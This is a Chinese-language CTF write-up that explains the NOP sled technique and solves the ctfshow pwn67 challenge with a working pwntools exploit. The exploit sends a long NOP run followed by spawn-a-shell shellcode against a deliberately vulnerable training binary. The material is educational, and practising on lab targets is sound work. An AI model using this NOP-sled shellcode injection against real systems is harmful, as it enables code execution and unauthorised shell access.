NOP Sled空中操作雪橇(代码滑梯)
NOP Sled
NOP Sled,中文常被形象地称为“空操作雪橇”、“代码滑梯”或“NOP滑板”,是指在一段shellcode之前插入大量连续的NOP指令。
**NOP指令:**即“No Operation”指令,对于x86架构的CPU,其机器码是 0x90。执行该指令时,CPU不会进行任何有效操作,仅仅将程序计数器(EIP/RIP)加一,然后继续执行下一条指令。
攻击者的目标是让程序执行流跳转到我们布置的shellcode上。但由于栈地址随机化(ASLR)等因素,我们往往无法精确预测shellcode的起始地址。NOP Sled就像在shellcode前铺上了一片长长的、平滑的雪橇道。只要程序执行流跳转到这个雪橇道的任何位置,CPU都会顺着这些NOP指令一路“滑行”下去,直到最终“滑进”并执行我们的shellcode。
例题–ctfshow pwn67
检查保护32位
加了canary保护栈溢出受阻,没开NX可以在栈上执行shellcode

进主函数

分析之后,他会先泄露一个地址
这个地址是&v1+v2,这个v2是一个[-668,668]的一个随机数

下面让输入最多输入4096字节,后面可以输入一个地址,最后执行地址的内容

思路就是将shellcode写入这个地址中,后面调用就行,但是这个地址是个不确定的地址
就可以用到代码滑梯技术
在payload中插入大量nop,程序执行nop会向下执行,直到滑入shellcode
shellcode写入地址的计算
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context(log_level='debug', arch='i386', os='linux') p = remote("pwn.challenge.ctf.show", 28240)
rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4,b'\x00')) l64 = lambda data :u64(data.ljust(8,b'\x00')) uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00")) uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00")) leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: '%(address)+hex(data)) if args.G: gdb.attach(p)
shell = asm(shellcraft.sh()) nop_len = 1337 ru(b"location:") addr = eval(rud(b"\n")) lg("addr",addr)
shell = asm(shellcraft.sh()) pay = b'\x90'*nop_len+shell shell_addr = addr+668+0x21 ru(b"What will you do?\n> ") sl(pay) ru("Where do you start?\n> ") sl(hex(shell_addr))
inter()
|